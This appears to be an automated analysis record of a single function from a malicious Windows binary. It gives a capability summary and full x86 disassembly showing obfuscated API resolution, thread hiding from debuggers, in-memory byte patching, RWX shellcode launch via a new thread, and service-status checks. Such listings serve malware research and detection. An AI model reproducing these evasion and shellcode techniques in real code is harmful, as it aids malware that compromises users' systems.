Function at 0x418370
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x104
push ebx
push esi
push edi
mov edi, 0x791c5c97
lea esi, [ebp - 0x2b]
mov dword [ebp + 0x60], 0
call fcn.0041b4d0
mov esi, eax
mov ecx, 0x6e1304
sub ecx, 0x4680168
lea eax, [ebp + 0x32]
call fcn.0041b450
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push ecx
push 4
mov dword [ebp + 0x32], ecx
mov dword [ebp + 0x36], ecx
mov word [ebp + 0x3a], cx
mov dword [ebp - 0x2b], ecx
mov dword [ebp - 0x27], ecx
mov dword [ebp - 0x23], ecx
mov dword [ebp - 0x1f], ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov byte [ebp - 0x13], cl
lea ecx, [ebp + 0x60]
push ecx
push 9
push 0xfffffffffffffffe
call eax
mov eax, dword [ebp + 0x60]
mov dword [ebp + 0x50], eax
cmp eax, 0x40000
je 0x418a5b
jmp 0x41845d
mov edi, 0x5a2e6e1a
lea esi, [ebp + 0xd]
call fcn.0041b5d0
mov esi, eax
mov ecx, 0x6e133c
sub ecx, 0x1c1a80b4
lea eax, [ebp + 0x46]
call fcn.0041b550
push esi
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp + 0x46], ecx
mov dword [ebp + 0x4a], ecx
mov word [ebp + 0x4e], cx
mov dword [ebp + 0xd], ecx
mov dword [ebp + 0x11], ecx
mov dword [ebp + 0x15], ecx
mov dword [ebp + 0x19], ecx
mov dword [ebp + 0x1d], ecx
mov word [ebp + 0x21], cx
mov byte [ebp + 0x23], cl
jmp 0x418512
push ecx
push ecx
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x418580
push 0x30
lea edx, [ebp - 0x80]
push 0
push edx
call fcn.005e3040
mov esi, dword [ebp - 0x6c]
add esp, 0xc
test esi, esi
jne 0x4185a8
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0x14]
jmp 0x4185ab
mov eax, dword [ebp - 0x7c]
lea esi, [eax - 8]
mov ecx, 0xd
lea edi, [ebp - 0x84]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x6c]
test esi, esi
je 0x41860a
mov eax, dword [esi + 0x3c]
movzx edi, word [eax + esi + 6]
movzx ecx, word [eax + esi + 0x14]
add eax, esi
xor edx, edx
lea ecx, [ecx + eax + 0x18]
test edi, edi
jbe 0x418593
add ecx, 0xc
mov edi, edi
test dword [ecx + 0x18], 0x20000000
je 0x418600
mov eax, dword [ecx]
add eax, esi
cmp eax, dword [ebp + 0x60]
ja 0x418600
mov ebx, dword [ecx - 4]
add ebx, eax
cmp dword [ebp + 0x60], ebx
jb 0x418a5b
inc edx
add ecx, 0x28
cmp edx, edi
jb 0x4185e0
jmp 0x418593
jmp 0x418670
jmp 0x4186d6
jmp 0x41873c
jmp 0x4187a2
mov edi, 0x629d43d9
lea esi, [ebp - 0x95]
call 0x41b510
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x418a5b
jmp 0x41882e
jmp 0x418894
jmp 0x4188fa
mov eax, dword [ebp + 0x60]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp + 0x68]
push edx
push 0x40
push 4
push eax
call esi
test eax, eax
je 0x4189f5
jmp 0x41897c
mov eax, dword [ebp + 0x50]
mov byte [eax], 0xc3
jmp 0x4189e8
mov edx, dword [ebp + 0x68]
lea ecx, [ebp + 0x68]
push ecx
push edx
push 4
push eax
call esi
jmp 0x418a5b
mov eax, dword [0x8f7c44]
mov esi, dword [0x8f7c40]
lea ecx, [ebp + 0x65]
push ecx
lea edx, [ebp + 0x64]
push edx
lea edi, [ebp + 0x67]
lea ebx, [ebp + 0x66]
mov dword [ebp + 0x64], eax
call fcn.00410cc0
add esp, 8
cmp byte [ebp + 0x64], 0
jne 0x418b8f
jmp 0x418aef
mov edi, 0x13b3df8
lea esi, [ebp - 0x12]
call fcn.0041ba10
mov esi, eax
mov ecx, 0x6e1444
sub ecx, 0x660068cd
lea eax, [ebp + 0x3c]
call fcn.0041b990
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
push 0x417ff0
push 1
mov dword [ebp + 0x3c], ecx
mov dword [ebp + 0x40], ecx
mov word [ebp + 0x44], cx
mov dword [ebp - 0x12], ecx
mov dword [ebp - 0xe], ecx
mov dword [ebp - 0xa], ecx
mov dword [ebp - 6], ecx
mov dword [ebp - 2], ecx
mov dword [ebp + 2], ecx
mov dword [ebp + 6], ecx
mov word [ebp + 0xa], cx
mov byte [ebp + 0xc], cl
call eax
push 0
push 0
push 0
push 0x415d30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [0x8f7c40]
push 0x8f7c45
push 0x8f7c44
mov edi, 0x8f7c47
mov ebx, 0x8f7c46
mov byte [0x8f7c44], 1
call fcn.00410fe0
add esp, 8
jmp 0x418bf5
call 0x415cc0
jmp 0x418c60
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x418d2f
mov edi, 0x6e1260
push 0xf003f
sub edi, 0x77aa43de
lea esi, [ebp + 0x24]
call fcn.0041b290
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
push ebx
call esi
xor ecx, ecx
mov dword [ebp + 0x24], ecx
mov dword [ebp + 0x28], ecx
mov dword [ebp + 0x2c], ecx
mov word [ebp + 0x30], cx
cmp eax, ecx
je 0x418d2f
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea edx, [ebp + 0x5c]
push edx
push 0x24
lea edx, [ebp - 0x50]
push edx
push ecx
push eax
mov dword [ebp + 0x5c], ecx
call edi
test eax, eax
je 0x418d2f
cmp dword [ebp - 0x4c], 4
je 0x418d20
push 0xf003f
mov ecx, 0x5a636f67
lea eax, [ebp + 0x55]
call fcn.0041b2d0
push eax
push ebx
call esi
mov esi, eax
xor eax, eax
mov dword [ebp + 0x55], eax
mov word [ebp + 0x59], ax
mov byte [ebp + 0x5b], al
test esi, esi
je 0x418d2f
lea eax, [ebp + 0x5c]
push eax
push 0x24
lea ecx, [ebp - 0x50]
push ecx
push 0
push esi
call edi
test eax, eax
je 0x418d2f
cmp dword [ebp - 0x4c], 4
jne 0x418d2f
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005e01d9
pop edi
pop esi
pop ebx
add ebp, 0x6c
mov esp, ebp
pop ebp
ret 0xc